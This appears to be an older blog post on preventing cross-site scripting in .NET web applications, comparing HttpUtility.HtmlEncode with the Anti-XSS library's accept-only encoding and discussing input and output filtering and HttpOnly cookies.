The only and most effective way to attack when having XSS hole is to launch an attack right on place when the payload is evaluated. If the attacker needs to transfer funds or obtain sensitive information, they most probably will use the XMLHttpRequest object in the background, to automate the entire process. Once the operation is completed, the attacker could leave the user to continue with their normal work or maybe gain full control of the account my resetting the password and destroying the session by performing a logout operation [2]. 

What to do besides using HttpOnly flag (which is a lot)

Evaluate your specific situation to determine which techniques will work best for you. It is important to note that in all techniques, you are validating data that you receive from input and not your trusted script (use must check every single field). Essentially, prevention means that you follow good coding practice by running sanity checks on your input to your routines [6].

The following list outlines the general approaches to prevent cross-site scripting attacks:
  1. Encode output based on input parameters
  2. Filter input parameters for special characters.
  3. Filter output based on input parameters for special characters.
When you filter or encode, you must specify a character set for your Web pages to ensure that your filter is checking for the appropriate special characters. The data that is inserted into your Web pages should filter out byte sequences that are considered special based on the specific character set. A popular charset is ISO 8859-1, which was the default in early versions of HTML and HTTP. You must take into account localization issues when you change these parameters [6].


Code Example: HtmlEncode used to sanitized web fields [8].

Anti-XSS tools for .NET

So what was wrong with using System.Web.HttpUtility.HtmlEncode?  The problem with HttpUtility class is it was based upon deny-list (e.g. black listing approach) approach—in which I mentioned an earlier blog on the down fall with this approach—versus a Accept-only approach.  As a result of the deny-list approach the HttpUtility.HtmlEncode as only good against the following characters:

1. <
2. >
3. &
4. “
5. Characters with values 160-255 inclusive

The Microsoft Anti-XSS tool follows an Accept-only approach (e.g. white listing approach) in which this tool looks for a finite set of valid input and everything else is considered invalid.  This approach will provide a more comprehensive protection to XSS and reduce the ability to trick HttpUtility.HtmlEncode with canonical representations attacks [7].

You will find that the Anti-XSS tool works much like HttpUtility.HtmlEncode:

AntiXSSLibrary.HtmlEncode(string)

AntiXSSLibrary.URLEncode(string)


Now all characters will be encoded except for [7]:

1. a-z (lower case)
2. A-Z (upper case)
3. 0-9 (Numeric values)
4. , (Comma)
5. . (Period)
6. _ (Underscore)
7. - (dash) 8. (Space)—Except for URLEncode 

Do Not Rely on user input filtering but also at output user filtering

A common practice is for code to attempt to sanitize input by filtering out known unsafe characters (e.g. black listing known malicious input). Do not rely on this approach because malicious users can usually find an alternative means of bypassing your validation. While writing this article only IE supports HttpOnly, but there is a firefox plugin called HttpOnly5.0. It provides support for HttpOnly option to Firefox by encrypting cookies marked as HttpOnly on the browser side, so that JavaScript cannot read them.HttpOnly makes XSS much more harder to achive and Firefox3 is going probably to support HttpOnly option….. 

Reference:
  1. http://msdn2.microsoft.com/en-us/library/ms533046.aspx
  2. http://www.gnucitizen.org/blog/why-httponly-wont-protect-you/
  3. http://msdn.microsoft.com/en-us/library/system.net.cookie.httponly(VS.80).aspx
  4. http://blogs.msdn.com/dansellers/archive/2006/03/13/550947.aspx
  5. http://www.microsoft.com/technet/archive/security/news/crssite.mspx?mfr=true
  6. http://support.microsoft.com/default.aspx?scid=kb;en-us;252985&sd=tech
  7. http://blogs.msdn.com/dansellers/archive/2006/02/23/538187.aspx
  8. http://www.java2s.com/Code/ASP/Server/ServerHtmlEncodeVBnet.htm